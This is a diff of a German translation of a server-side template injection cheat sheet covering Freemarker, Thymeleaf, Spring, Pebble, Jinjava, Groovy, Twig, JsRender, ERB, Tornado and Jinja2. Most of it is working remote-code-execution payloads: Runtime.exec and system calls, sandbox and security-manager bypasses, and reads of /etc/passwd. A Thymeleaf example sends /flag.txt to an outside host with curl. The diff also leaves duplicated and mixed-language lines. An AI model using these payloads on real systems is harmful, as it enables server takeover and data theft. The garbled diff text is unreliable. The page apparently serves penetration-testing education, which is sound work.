Sie können Ihre Payloads unter [https://try.freemarker.apache.org](https://try.freemarker.apache.org) ausprobieren.
|
||||
Sie können Ihre Payloads unter [https://try.freemarker.apache.org](https://try.freemarker.apache.org) ausprobieren
|
||||
|
||||
* `{{7*7}} = {{7*7}}`
|
||||
* `${7*7} = 49`
|
||||
* `#{7*7} = 49 -- (legacy)`
|
||||
* `${7*'7'} Nichts`
|
||||
* `${7*'7'} Nothing`
|
||||
* `${foobar}`
|
||||
```java
|
||||
<#assign ex = "freemarker.template.utility.Execute"?new()>${ ex("id")}
|
||||
|
@ -223,7 +126,7 @@ ${product.getClass().getProtectionDomain().getCodeSource().getLocation().toURI()
|
|||
```
|
||||
**Freemarker - Sandbox-Bypass**
|
||||
|
||||
⚠️ Funktioniert nur bei Freemarker-Versionen unter 2.3.30
|
||||
⚠️ funktioniert nur bei Freemarker-Versionen unter 2.3.30
|
||||
```java
|
||||
<#assign classloader=article.class.protectionDomain.classLoader>
|
||||
<#assign owc=classloader.loadClass("freemarker.template.ObjectWrapper")>
|
||||
|
@ -254,33 +157,35 @@ $str.valueOf($chr.toChars($out.read()))
|
|||
|
||||
### Thymeleaf
|
||||
|
||||
Bei Thymeleaf ist ein häufiger Test für SSTI-Schwachstellen der Ausdruck `${7*7}`, der auch für diese Template-Engine gilt. Für potenzielle Remote-Code-Ausführung können Ausdrücke wie die folgenden verwendet werden:
|
||||
In Thymeleaf ist ein häufiger Test für SSTI-Schwachstellen der Ausdruck `${7*7}`, der auch für diese Template-Engine gilt. Für potenzielle Remote-Code-Ausführung können Ausdrücke wie die folgenden verwendet werden:
|
||||
|
||||
* SpringEL:
|
||||
|
||||
- SpringEL:
|
||||
```java
|
||||
${T(java.lang.Runtime).getRuntime().exec('calc')}
|
||||
```
|
||||
- OGNL:
|
||||
* OGNL:
|
||||
|
||||
```java
|
||||
${#rt = @java.lang.Runtime@getRuntime(),#rt.exec("calc")}
|
||||
```
|
||||
|
||||
Thymeleaf erfordert, dass diese Ausdrücke in bestimmten Attributen platziert werden. Allerdings wird _Expression Inlining_ für andere Template-Standorte unterstützt, indem Syntax wie `[[...]]` oder `[(...)]` verwendet wird. Daher könnte ein einfacher SSTI-Test-Payload wie `[[${7*7}]]` aussehen.
|
||||
Thymeleaf erfordert, dass diese Ausdrücke in spezifischen Attributen platziert werden. Allerdings wird _Expression Inlining_ für andere Vorlagenpositionen unterstützt, indem Syntax wie `[[...]]` oder `[(...)]` verwendet wird. Daher könnte ein einfaches SSTI-Test-Payload wie `[[${7*7}]]` aussehen.
|
||||
|
||||
Die Wahrscheinlichkeit, dass dieser Payload funktioniert, ist jedoch in der Regel gering. Die Standardkonfiguration von Thymeleaf unterstützt keine dynamische Template-Erzeugung; Templates müssen vordefiniert sein. Entwickler müssten ihren eigenen `TemplateResolver` implementieren, um Templates aus Zeichenketten dynamisch zu erstellen, was ungewöhnlich ist.
|
||||
Die Wahrscheinlichkeit, dass dieses Payload funktioniert, ist jedoch im Allgemeinen gering. Die Standardkonfiguration von Thymeleaf unterstützt keine dynamische Vorlagenerstellung; Vorlagen müssen vordefiniert sein. Entwickler müssten ihren eigenen `TemplateResolver` implementieren, um Vorlagen aus Zeichenfolgen dynamisch zu erstellen, was unüblich ist.
|
||||
|
||||
Thymeleaf bietet auch _Expression Preprocessing_, bei dem Ausdrücke innerhalb von doppelten Unterstrichen (`__...__`) vorverarbeitet werden. Diese Funktion kann beim Aufbau von Ausdrücken genutzt werden, wie in der Dokumentation von Thymeleaf demonstriert:
|
||||
Thymeleaf bietet auch _Expression Preprocessing_ an, bei dem Ausdrücke innerhalb von doppelten Unterstrichen (`__...__`) vorverarbeitet werden. Diese Funktion kann beim Aufbau von Ausdrücken genutzt werden, wie in der Dokumentation von Thymeleaf demonstriert:
|
||||
```java
|
||||
#{selection.__${sel.code}__}
|
||||
```
|
||||
**Beispiel für eine Schwachstelle in Thymeleaf**
|
||||
|
||||
Betrachten Sie den folgenden Codeausschnitt, der anfällig für Ausnutzung sein könnte:
|
||||
Betrachten Sie den folgenden Code-Schnipsel, der anfällig für Ausnutzung sein könnte:
|
||||
```xml
|
||||
<a th:href="@{__${path}__}" th:title="${title}">
|
||||
<a th:href="${''.getClass().forName('java.lang.Runtime').getRuntime().exec('curl -d @/flag.txt burpcollab.com')}" th:title='pepito'>
|
||||
```
|
||||
Dies deutet darauf hin, dass wenn der Template-Engine diese Eingaben unsachgemäß verarbeitet, dies zu einer Remote-Code-Ausführung führen kann, indem URLs wie:
|
||||
Dies deutet darauf hin, dass wenn der Template-Engine diese Eingaben nicht ordnungsgemäß verarbeitet, dies zu einer Remote-Code-Ausführung führen kann, die auf URLs wie:
|
||||
```
|
||||
http://localhost:8082/(7*7)
|
||||
http://localhost:8082/(${T(java.lang.Runtime).getRuntime().exec('calc')})
|
||||
|
@ -294,18 +199,6 @@ http://localhost:8082/(${T(java.lang.Runtime).getRuntime().exec('calc')})
|
|||
{% endcontent-ref %}
|
||||
|
||||
### Spring Framework (Java)
|
||||
|
||||
Die Server-seitige Template-Injection (SSTI) ist eine Sicherheitslücke, die es einem Angreifer ermöglicht, schädlichen Code in eine Vorlage einzufügen und auf dem Server auszuführen. Dies kann zu verschiedenen Angriffen führen, wie z.B. der Offenlegung sensibler Informationen oder der Ausführung von Remote-Code.
|
||||
|
||||
Das Spring Framework ist ein beliebtes Java-Framework, das die Entwicklung von Webanwendungen erleichtert. Es bietet auch Funktionen für die Vorlagenverarbeitung, einschließlich der Unterstützung für die Ausführung von Ausdrücken in Vorlagen.
|
||||
|
||||
Um eine SSTI in einer Spring-Anwendung auszunutzen, müssen Sie die Schwachstellen in der Vorlagenverarbeitung identifizieren und geeigneten schädlichen Code erstellen, der in die Vorlage eingefügt werden kann.
|
||||
|
||||
Ein Beispiel für eine SSTI in Spring ist die Verwendung von Expression Language (EL) in Thymeleaf-Vorlagen. EL ermöglicht es Entwicklern, Ausdrücke in Vorlagen zu verwenden, um auf Daten zuzugreifen und diese zu manipulieren. Wenn jedoch unsichere Eingaben in die Vorlage gelangen, kann ein Angreifer schädlichen Code einschleusen und ausführen.
|
||||
|
||||
Um eine SSTI in Thymeleaf auszunutzen, können Sie verschiedene Techniken verwenden, wie z.B. das Einfügen von EL-Ausdrücken in Vorlagenvariablen oder das Ausnutzen von Schwachstellen in der EL-Auswertung.
|
||||
|
||||
Es ist wichtig, dass Entwickler und Sicherheitsexperten sich der Risiken von SSTI bewusst sind und geeignete Sicherheitsmaßnahmen ergreifen, um diese Schwachstellen zu vermeiden. Dazu gehören das Validieren und Filtern von Benutzereingaben, das Aktualisieren von Frameworks und Bibliotheken auf die neuesten Versionen und das Durchführen von regelmäßigen Sicherheitsüberprüfungen und Penetrationstests.
|
||||
```java
|
||||
*{T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec('id').getInputStream())}
|
||||
```
|
||||
|
@ -317,7 +210,7 @@ Mehrere Variablenausdrücke können verwendet werden. Wenn `${...}` nicht funkti
|
|||
```java
|
||||
${T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec(T(java.lang.Character).toString(99).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(32)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(101)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(99)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(112)).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(119)).concat(T(java.lang.Character).toString(100))).getInputStream())}
|
||||
```
|
||||
* Benutzerdefiniertes Skript zur Generierung von Payloads
|
||||
* Benutzerdefiniertes Skript zur Payload-Generierung
|
||||
```python
|
||||
#!/usr/bin/python3
|
||||
|
||||
|
@ -376,6 +269,7 @@ Neue Version von Pebble:
|
|||
{% endraw %}
|
||||
|
||||
|
||||
|
||||
{% set bytes = (1).TYPE
|
||||
.forName('java.lang.Runtime')
|
||||
.methods[6]
|
||||
|
@ -390,29 +284,11 @@ Neue Version von Pebble:
|
|||
```
|
||||
### Jinjava (Java)
|
||||
|
||||
Jinjava ist eine Java-basierte Template-Engine, die in der Lage ist, Server-seitige Template-Injection (SSTI) anfällige Anwendungen zu manipulieren. Diese Technik ermöglicht es einem Angreifer, schädlichen Code in Vorlagen einzufügen, der dann auf dem Server ausgeführt wird.
|
||||
|
||||
#### Erkennen von Jinjava SSTI
|
||||
|
||||
Um Jinjava SSTI zu erkennen, können Sie versuchen, spezielle Jinjava-Tags in den Eingabefeldern der Anwendung einzufügen. Wenn die Anwendung den Code interpretiert und das Ergebnis auf der Webseite anzeigt, besteht eine hohe Wahrscheinlichkeit, dass sie anfällig für SSTI ist.
|
||||
|
||||
#### Ausnutzen von Jinjava SSTI
|
||||
|
||||
Wenn Sie eine anfällige Anwendung gefunden haben, können Sie Jinjava SSTI ausnutzen, um verschiedene Angriffe durchzuführen. Einige Beispiele für mögliche Angriffe sind:
|
||||
|
||||
- Lesen von Dateien auf dem Server: Durch Einfügen von Jinjava-Tags können Sie versuchen, auf sensible Dateien auf dem Server zuzugreifen und deren Inhalt zu lesen.
|
||||
- Ausführen von Befehlen auf dem Server: Sie können Jinjava-Tags verwenden, um Befehle auf dem Server auszuführen und so volle Kontrolle über das System zu erlangen.
|
||||
- Umgehung von Sicherheitsmechanismen: Durch Manipulation der Vorlagen können Sie versuchen, Sicherheitsmechanismen zu umgehen und auf geschützte Bereiche der Anwendung zuzugreifen.
|
||||
|
||||
#### Schutz vor Jinjava SSTI
|
||||
|
||||
Um sich vor Jinjava SSTI-Angriffen zu schützen, sollten Entwickler sicherstellen, dass alle Benutzereingaben ordnungsgemäß validiert und bereinigt werden, bevor sie in Vorlagen eingefügt werden. Es ist auch ratsam, die Verwendung von Jinjava oder ähnlichen Template-Engines mit SSTI-Risiken zu vermeiden, wenn sie nicht unbedingt erforderlich sind.
|
||||
Jinjava ist eine leistungsstarke und flexible Template-Engine für Java. Es unterstützt Server-seitige Template-Injection (SSTI) und wird häufig in Webanwendungen verwendet. Jinjava ermöglicht es Entwicklern, dynamische Inhalte in ihren Anwendungen zu generieren, was jedoch auch ein potentielles Sicherheitsrisiko darstellen kann, wenn nicht ordnungsgemäß abgesichert.
|
||||
```java
|
||||
{{'a'.toUpperCase()}} would result in 'A'
|
||||
{{ request }} would return a request object like com.[...].context.TemplateContextRequest@23548206
|
||||
```
|
||||
Jinjava ist ein Open-Source-Projekt, das von Hubspot entwickelt wurde und unter [https://github.com/HubSpot/jinjava/](https://github.com/HubSpot/jinjava/) verfügbar ist.
|
||||
|
||||
**Jinjava - Befehlsausführung**
|
||||
|
||||
Behoben durch [https://github.com/HubSpot/jinjava/pull/230](https://github.com/HubSpot/jinjava/pull/230)
|
||||
|
@ -431,9 +307,9 @@ Behoben durch [https://github.com/HubSpot/jinjava/pull/230](https://github.com/H
|
|||
|
||||
### Hubspot - HuBL (Java)
|
||||
|
||||
* `{% %}` Anweisungstrennzeichen
|
||||
* `{{ }}` Ausdruckstrennzeichen
|
||||
* `{# #}` Kommentartrennzeichen
|
||||
* `{% %}` Anweisungstrenner
|
||||
* `{{ }}` Ausdruckstrenner
|
||||
* `{# #}` Kommentartrenner
|
||||
* `{{ request }}` - com.hubspot.content.hubl.context.TemplateContextRequest@23548206
|
||||
* `{{'a'.toUpperCase()}}` - "A"
|
||||
* `{{'a'.concat('b')}}` - "ab"
|
||||
|
@ -494,13 +370,13 @@ Payload: {{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstanc
|
|||
* `${{7*7}}` - 49
|
||||
* `${{request}}, ${{session}}, {{faceContext}}`
|
||||
|
||||
Expression Language (EL) ist eine grundlegende Funktion, die die Interaktion zwischen der Präsentationsebene (wie Webseiten) und der Anwendungslogik (wie verwalteten Beans) in JavaEE erleichtert. Sie wird umfassend in mehreren JavaEE-Technologien eingesetzt, um diese Kommunikation zu optimieren. Zu den wichtigsten JavaEE-Technologien, die EL verwenden, gehören:
|
||||
Expression Language (EL) ist eine grundlegende Funktion, die die Interaktion zwischen der Präsentationsschicht (wie Webseiten) und der Anwendungslogik (wie verwaltete Beans) in JavaEE erleichtert. Es wird umfassend in mehreren JavaEE-Technologien eingesetzt, um diese Kommunikation zu optimieren. Zu den wichtigsten JavaEE-Technologien, die EL nutzen, gehören:
|
||||
|
||||
- **JavaServer Faces (JSF)**: Verwendet EL, um Komponenten in JSF-Seiten mit den entsprechenden Backend-Daten und Aktionen zu verbinden.
|
||||
- **JavaServer Pages (JSP)**: EL wird in JSP verwendet, um auf Daten in JSP-Seiten zuzugreifen und diese zu manipulieren, um eine einfachere Verbindung von Seitenelementen mit den Anwendungsdaten zu ermöglichen.
|
||||
- **Contexts and Dependency Injection for Java EE (CDI)**: EL integriert sich in CDI, um eine nahtlose Interaktion zwischen der Web-Ebene und verwalteten Beans zu ermöglichen und so eine kohärentere Anwendungsstruktur zu gewährleisten.
|
||||
* **JavaServer Faces (JSF)**: Verwendet EL, um Komponenten in JSF-Seiten mit den entsprechenden Backend-Daten und Aktionen zu verknüpfen.
|
||||
* **JavaServer Pages (JSP)**: EL wird in JSP verwendet, um auf Daten in JSP-Seiten zuzugreifen und diese zu manipulieren, was die Verbindung von Seitenelementen mit den Anwendungsdaten erleichtert.
|
||||
* **Contexts and Dependency Injection for Java EE (CDI)**: EL integriert sich mit CDI, um eine nahtlose Interaktion zwischen der Web-Ebene und verwalteten Beans zu ermöglichen und eine kohärentere Anwendungsstruktur sicherzustellen.
|
||||
|
||||
Weitere Informationen zur **Ausnutzung von EL-Interpretern** finden Sie auf der folgenden Seite:
|
||||
Überprüfen Sie die folgende Seite, um mehr über die **Ausnutzung von EL-Interpretern** zu erfahren:
|
||||
|
||||
{% content-ref url="el-expression-language.md" %}
|
||||
[el-expression-language.md](el-expression-language.md)
|
||||
|
@ -508,7 +384,7 @@ Weitere Informationen zur **Ausnutzung von EL-Interpretern** finden Sie auf der
|
|||
|
||||
### Groovy (Java)
|
||||
|
||||
Die folgenden Umgehungen des Security Managers wurden aus diesem [**Bericht**](https://security.humanativaspa.it/groovy-template-engine-exploitation-notes-from-a-real-case-scenario/) entnommen.
|
||||
Die folgenden Security Manager-Bypasses stammen aus diesem [**Bericht**](https://security.humanativaspa.it/groovy-template-engine-exploitation-notes-from-a-real-case-scenario/).
|
||||
```java
|
||||
//Basic Payload
|
||||
import groovy.*;
|
||||
|
@ -535,13 +411,12 @@ this.evaluate(new String(new byte[]{64, 103, 114, 111, 111, 118, 121, 46, 116, 1
|
|||
```
|
||||
<figure><img src="https://files.gitbook.com/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-L_2uGJGU7AVNRcqRvEi%2Fuploads%2FelPCTwoecVdnsfjxCZtN%2Fimage.png?alt=media&token=9ee4ff3e-92dc-471c-abfe-1c25e446a6ed" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**RootedCON**](https://www.rootedcon.com/) ist die relevanteste Cybersicherheitsveranstaltung in **Spanien** und eine der wichtigsten in **Europa**. Mit **der Mission, technisches Wissen zu fördern**, ist dieser Kongress ein brodelnder Treffpunkt für Technologie- und Cybersicherheitsprofis in jeder Disziplin.
|
||||
[**RootedCON**](https://www.rootedcon.com/) ist das relevanteste Cybersicherheitsereignis in **Spanien** und eines der wichtigsten in **Europa**. Mit **der Mission, technisches Wissen zu fördern**, ist dieser Kongress ein brodelnder Treffpunkt für Technologie- und Cybersicherheitsfachleute in jeder Disziplin.
|
||||
|
||||
{% embed url="https://www.rootedcon.com/" %}
|
||||
|
||||
##
|
||||
|
||||
|
||||
### Smarty (PHP)
|
||||
```php
|
||||
{$smarty.version}
|
||||
|
@ -560,8 +435,8 @@ this.evaluate(new String(new byte[]{64, 103, 114, 111, 111, 118, 121, 46, 116, 1
|
|||
* `{{7*7}} = 49`
|
||||
* `${7*7} = ${7*7}`
|
||||
* `{{7*'7'}} = 49`
|
||||
* `{{1/0}} = Fehler`
|
||||
* `{{foobar}} Nichts`
|
||||
* `{{1/0}} = Error`
|
||||
* `{{foobar}} Nothing`
|
||||
```python
|
||||
#Get Info
|
||||
{{_self}} #(Ref. to current application)
|
||||
|
@ -586,12 +461,6 @@ this.evaluate(new String(new byte[]{64, 103, 114, 111, 111, 118, 121, 46, 116, 1
|
|||
{{["error_reporting", "0"]|sort("ini_set")}}
|
||||
```
|
||||
**Twig - Vorlagenformat**
|
||||
|
||||
Twig ist ein leistungsfähiges und flexibles Vorlagenformat, das in vielen Webanwendungen verwendet wird. Es bietet eine einfache und sichere Möglichkeit, dynamische Inhalte in HTML-Dateien zu generieren. Twig verwendet eine Syntax ähnlich wie die von PHP, ist jedoch sicherer, da es bestimmte Funktionen und Methoden deaktiviert hat, die potenziell gefährlichen Code ausführen könnten.
|
||||
|
||||
Twig-Vorlagen bestehen aus HTML-Code, der mit speziellen Twig-Tags und -Ausdrücken ergänzt wird. Diese Tags und Ausdrücke ermöglichen es Entwicklern, Variablen einzufügen, Schleifen und Bedingungen zu verwenden und sogar benutzerdefinierte Funktionen zu definieren. Twig bietet auch eine Reihe von Filtern und Funktionen, mit denen Entwickler Daten formatieren und manipulieren können.
|
||||
|
||||
Die Verwendung von Twig in Webanwendungen bietet viele Vorteile, darunter eine verbesserte Sicherheit, eine bessere Trennung von Logik und Präsentation sowie eine einfachere Wartung und Erweiterbarkeit. Es ist jedoch wichtig zu beachten, dass unsichere Verwendung von Twig zu Server Side Template Injection (SSTI) führen kann, was zu schwerwiegenden Sicherheitsproblemen führen kann.
|
||||
```php
|
||||
$output = $twig > render (
|
||||
'Dear' . $_GET['custom_greeting'],
|
||||
|
@ -610,7 +479,7 @@ array("first_name" => $user.first_name)
|
|||
|
||||
### Plates (PHP)
|
||||
|
||||
Plates ist ein Template-Engine, die nativ in PHP verwendet wird und sich von Twig inspirieren lässt. Im Gegensatz zu Twig, das eine neue Syntax einführt, verwendet Plates nativen PHP-Code in den Templates, was es für PHP-Entwickler intuitiv macht.
|
||||
Plates ist eine Vorlagen-Engine, die nativ für PHP ist und sich von Twig inspirieren lässt. Im Gegensatz zu Twig, das eine neue Syntax einführt, nutzt Plates nativen PHP-Code in Vorlagen, was es für PHP-Entwickler intuitiv macht.
|
||||
|
||||
Controller:
|
||||
```php
|
||||
|
@ -627,7 +496,7 @@ Seitenvorlage:
|
|||
<h1>User Profile</h1>
|
||||
<p>Hello, <?=$this->e($name)?></p>
|
||||
```
|
||||
Layout-Vorlage:
|
||||
## Layoutsvorlage:
|
||||
```html
|
||||
<html>
|
||||
<head>
|
||||
|
@ -639,11 +508,12 @@ Layout-Vorlage:
|
|||
</html>
|
||||
```
|
||||
**Weitere Informationen**
|
||||
|
||||
* [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#plates](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#plates)
|
||||
|
||||
### PHPlib und HTML\_Template\_PHPLIB (PHP)
|
||||
|
||||
[HTML\_Template\_PHPLIB](https://github.com/pear/HTML\_Template\_PHPLIB) ist dasselbe wie PHPlib, wurde jedoch auf Pear portiert.
|
||||
[HTML\_Template\_PHPLIB](https://github.com/pear/HTML\_Template\_PHPLIB) ist dasselbe wie PHPlib, aber für Pear portiert.
|
||||
|
||||
`authors.tpl`
|
||||
```html
|
||||
|
@ -667,38 +537,27 @@ Layout-Vorlage:
|
|||
</body>
|
||||
</html>
|
||||
```
|
||||
# Server Side Template Injection (SSTI)
|
||||
# SSTI (Server-Side Template Injection)
|
||||
|
||||
Server Side Template Injection (SSTI) ist eine Sicherheitslücke, die es einem Angreifer ermöglicht, schädlichen Code in eine Servervorlage einzufügen und auszuführen. Dies kann zu verschiedenen Angriffen führen, wie z.B. der Offenlegung sensibler Informationen, der Ausführung von Remote-Code oder der Umgehung von Sicherheitsmechanismen.
|
||||
---
|
||||
|
||||
## Identifizierung von SSTI
|
||||
## Beschreibung
|
||||
|
||||
Die Identifizierung von SSTI kann schwierig sein, da sie von der verwendeten Vorlagensprache abhängt. Einige gängige Anzeichen für SSTI sind:
|
||||
In diesem Szenario wird eine Server-Side Template Injection (SSTI) Schwachstelle in einer Webanwendung demonstriert, die es einem Angreifer ermöglicht, Code auf dem Server auszuführen.
|
||||
|
||||
- Unbeabsichtigte Ausgabe von Vorlagenvariablen
|
||||
- Verwendung von unsicheren oder nicht validierten Eingaben in Vorlagen
|
||||
- Fehlermeldungen, die auf Vorlagenfehler hinweisen
|
||||
## Setup
|
||||
|
||||
## Ausnutzung von SSTI
|
||||
1. Führen Sie die Anwendung in einer virtuellen Umgebung aus, indem Sie die Anweisungen im Hauptverzeichnis des Repositories befolgen.
|
||||
|
||||
Die Ausnutzung von SSTI erfordert ein gründliches Verständnis der verwendeten Vorlagensprache. Hier sind einige gängige Techniken, die verwendet werden können:
|
||||
2. Navigieren Sie im Browser zu `http://localhost:8080/authors.php` und überprüfen Sie die Seite.
|
||||
|
||||
- Einfügen von Code in Vorlagenvariablen
|
||||
- Ausnutzung von Vorlagenfiltern und -funktionen
|
||||
- Umgehung von Sicherheitsmechanismen durch Ausnutzung von Vorlagenkontexten
|
||||
## Exploit
|
||||
|
||||
## Prävention von SSTI
|
||||
Um die SSTI-Schwachstelle auszunutzen, können Sie speziell präparierten Payload in das Suchfeld auf der `authors.php`-Seite eingeben. Dies kann dazu führen, dass der eingegebene Code auf dem Server ausgeführt wird.
|
||||
|
||||
Um SSTI-Angriffe zu verhindern, sollten folgende Maßnahmen ergriffen werden:
|
||||
## Mitigation
|
||||
|
||||
- Validierung und Filterung von Benutzereingaben
|
||||
- Verwendung sicherer Vorlagensprachen und -frameworks
|
||||
- Aktualisierung von Vorlagenbibliotheken und -modulen auf die neueste Version
|
||||
- Begrenzung der Berechtigungen von Vorlagenengines
|
||||
|
||||
## Fazit
|
||||
|
||||
Server Side Template Injection ist eine ernsthafte Sicherheitslücke, die es Angreifern ermöglicht, schädlichen Code in Vorlagen einzufügen und auszuführen. Es ist wichtig, Vorlagen sorgfältig zu überprüfen und Sicherheitsmaßnahmen zu implementieren, um SSTI-Angriffe zu verhindern.
|
||||
Um SSTI-Schwachstellen zu vermeiden, sollten Eingaben von Benutzern validiert und sicher verarbeitet werden, um potenzielle Angriffe zu verhindern. Verwenden Sie sichere Codierungspraktiken und implementieren Sie Content-Security-Policies, um das Risiko von SSTI-Angriffen zu minimieren.
|
||||
```php
|
||||
<?php
|
||||
//we want to display this author list
|
||||
|
@ -731,7 +590,8 @@ echo $t->finish($t->parse('OUT', 'authors'));
|
|||
?>
|
||||
```
|
||||
**Weitere Informationen**
|
||||
* [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#phplib-and-html_template_phplib](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#phplib-and-html_template_phplib)
|
||||
|
||||
* [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#phplib-and-html\_template\_phplib](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#phplib-and-html\_template\_phplib)
|
||||
|
||||
### Jade (NodeJS)
|
||||
```javascript
|
||||
|
@ -751,7 +611,7 @@ echo $t->finish($t->parse('OUT', 'authors'));
|
|||
|
||||
### patTemplate (PHP)
|
||||
|
||||
> [patTemplate](https://github.com/wernerwa/pat-template) ist eine nicht kompilierende PHP-Template-Engine, die XML-Tags verwendet, um ein Dokument in verschiedene Teile aufzuteilen.
|
||||
> [patTemplate](https://github.com/wernerwa/pat-template) ist eine nicht kompilierende PHP-Template-Engine, die XML-Tags verwendet, um ein Dokument in verschiedene Teile zu unterteilen.
|
||||
```xml
|
||||
<patTemplate:tmpl name="page">
|
||||
This is the main page.
|
||||
|
@ -764,11 +624,12 @@ Hello {NAME}.<br/>
|
|||
</patTemplate:tmpl>
|
||||
```
|
||||
**Weitere Informationen**
|
||||
|
||||
* [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#pattemplate](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#pattemplate)
|
||||
|
||||
### Handlebars (NodeJS)
|
||||
|
||||
Pfadtraversierung (weitere Informationen [hier](https://blog.shoebpatel.com/2021/01/23/The-Secret-Parameter-LFR-and-Potential-RCE-in-NodeJS-Apps/)).
|
||||
Pfadtraversierung (mehr Informationen [hier](https://blog.shoebpatel.com/2021/01/23/The-Secret-Parameter-LFR-and-Potential-RCE-in-NodeJS-Apps/)).
|
||||
```bash
|
||||
curl -X 'POST' -H 'Content-Type: application/json' --data-binary $'{\"profile\":{"layout\": \"./../routes/index.js\"}}' 'http://ctf.shoebpatel.com:9090/'
|
||||
```
|
||||
|
@ -808,9 +669,9 @@ URLencoded:
|
|||
| **Vorlage** | **Beschreibung** |
|
||||
| ------------ | --------------------------------------- |
|
||||
| | Auswertung und Ausgabe rendern |
|
||||
| | Auswertung und Ausgabe von HTML-kodierter Ausgabe |
|
||||
| | Auswertung und HTML-codierte Ausgabe rendern |
|
||||
| | Kommentar |
|
||||
| und | Erlauben von Code (standardmäßig deaktiviert) |
|
||||
| und | Erlauben Code (standardmäßig deaktiviert) |
|
||||
|
||||
* \= 49
|
||||
|
||||
|
@ -818,7 +679,7 @@ URLencoded:
|
|||
```python
|
||||
{{:%22test%22.toString.constructor.call({},%22alert(%27xss%27)%22)()}}
|
||||
```
|
||||
**Serverseitig**
|
||||
**Serverseitige**
|
||||
```bash
|
||||
{{:"pwnd".toString.constructor.call({},"return global.process.mainModule.constructor._load('child_process').execSync('cat /etc/passwd').toString()")()}}
|
||||
```
|
||||
|
@ -860,7 +721,7 @@ home = pugjs.render(injected_page)
|
|||
* `{{7*7}} = {{7*7}}`
|
||||
* `${7*7} = ${7*7}`
|
||||
* `<%= 7*7 %> = 49`
|
||||
* `<%= foobar %> = Fehler`
|
||||
* `<%= foobar %> = Error`
|
||||
```python
|
||||
<%= system("whoami") %> #Execute code
|
||||
<%= Dir.entries('/') %> #List folder
|
||||
|
@ -888,7 +749,7 @@ home = pugjs.render(injected_page)
|
|||
|
||||
### Python
|
||||
|
||||
Schauen Sie sich die folgende Seite an, um Tricks zur **beliebigen Befehlsausführung zur Umgehung von Sandboxes** in Python zu lernen:
|
||||
Schauen Sie sich die folgende Seite an, um Tricks zum **beliebigen Befehlsausführung umgehen von Sandboxes** in Python zu lernen:
|
||||
|
||||
{% content-ref url="../../generic-methodologies-and-resources/python/bypass-python-sandboxes/" %}
|
||||
[bypass-python-sandboxes](../../generic-methodologies-and-resources/python/bypass-python-sandboxes/)
|
||||
|
@ -910,17 +771,19 @@ Schauen Sie sich die folgende Seite an, um Tricks zur **beliebigen Befehlsausfü
|
|||
|
||||
|
||||
|
||||
|
||||
{{os.system('whoami')}}
|
||||
{{os.system('whoami')}}
|
||||
```
|
||||
**Weitere Informationen**
|
||||
|
||||
* [https://ajinabraham.com/blog/server-side-template-injection-in-tornado](https://ajinabraham.com/blog/server-side-template-injection-in-tornado)
|
||||
|
||||
### Jinja2 (Python)
|
||||
|
||||
[Offizielle Website](http://jinja.pocoo.org)
|
||||
|
||||
> Jinja2 ist eine voll ausgestattete Template-Engine für Python. Sie unterstützt Unicode vollständig, bietet eine optionale integrierte Sandbox-Umgebung, wird weit verbreitet verwendet und ist unter der BSD-Lizenz lizenziert.
|
||||
> Jinja2 ist eine voll ausgestattete Template-Engine für Python. Es bietet volle Unicode-Unterstützung, eine optionale integrierte Sandbox-Ausführungsumgebung, wird weit verbreitet eingesetzt und ist unter der BSD-Lizenz veröffentlicht.
|
||||
|
||||
* `{{7*7}} = Fehler`
|
||||
* `${7*7} = ${7*7}`
|
||||
|
@ -939,38 +802,12 @@ Schauen Sie sich die folgende Seite an, um Tricks zur **beliebigen Befehlsausfü
|
|||
|
||||
|
||||
|
||||
|
||||
{{settings.SECRET_KEY}}
|
||||
{{4*4}}[[5*5]]
|
||||
{{7*'7'}} would result in 7777777
|
||||
```
|
||||
**Jinja2 - Vorlagenformat**
|
||||
|
||||
Jinja2 ist ein leistungsfähiges und flexibles Template-Engine-System, das in Python geschrieben ist. Es wird häufig in Webanwendungen verwendet, um dynamische Inhalte zu generieren. Jinja2 verwendet ein spezielles Vorlagenformat, das es Entwicklern ermöglicht, Variablen, Ausdrücke und Kontrollstrukturen in ihre Vorlagen einzufügen.
|
||||
|
||||
Das Vorlagenformat von Jinja2 besteht aus zwei Hauptkomponenten: Tags und Ausdrücken. Tags werden in geschweiften Klammern `{% %}` platziert und dienen dazu, Kontrollstrukturen wie Schleifen und Bedingungen zu definieren. Ausdrücke werden in doppelten geschweiften Klammern `{{ }}` platziert und ermöglichen das Einfügen von Variablen und Auswertungen.
|
||||
|
||||
Hier ist ein Beispiel für das Jinja2-Vorlagenformat:
|
||||
|
||||
```html
|
||||
<!DOCTYPE html>
|
||||
<html>
|
||||
<head>
|
||||
<title>{{ title }}</title>
|
||||
</head>
|
||||
<body>
|
||||
<h1>{{ greeting }}</h1>
|
||||
{% if user %}
|
||||
<p>Welcome, {{ user }}!</p>
|
||||
{% else %}
|
||||
<p>Welcome, guest!</p>
|
||||
{% endif %}
|
||||
</body>
|
||||
</html>
|
||||
```
|
||||
|
||||
